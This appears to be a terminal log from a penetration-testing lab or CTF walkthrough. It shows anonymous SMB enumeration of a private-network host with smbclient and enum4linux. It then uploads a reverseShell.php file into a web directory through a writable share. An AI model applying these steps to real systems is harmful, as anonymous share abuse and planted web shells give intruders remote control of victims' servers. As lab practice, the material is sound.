1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| ❯ smbclient --list=192.168.0.104 --no-pass Can't load /etc/samba/smb.conf - run testparm to debug it Anonymous login successful
Sharename Type Comment --------- ---- ------- share Disk print$ Disk Printer Drivers IPC$ IPC IPC Service (Private Share for uploading files) SMB1 disabled -- no workgroup available
❯ enum4linux -a -o 192.168.0.104 Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Aug 8 17:47:46 2025
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
❯ smbclient //192.168.0.104/share -N smb: \> cd html smb: \html\> ls index.html N 10701 Wed Sep 23 09:48:45 2020
smb: \html\> put reverseShell.php putting file reverseShell.php as \html
everseShell.php (3818.0 kb/s) (average 3818.4 kb/s) smb: \html\> ls . D 0 Fri Aug 8 18:12:41 2025 .. D 0 Wed Sep 23 09:48:39 2020 index.html N 10701 Wed Sep 23 09:48:45 2020 reverseShell.php A 3910 Fri Aug 8 18:12:41 2025
|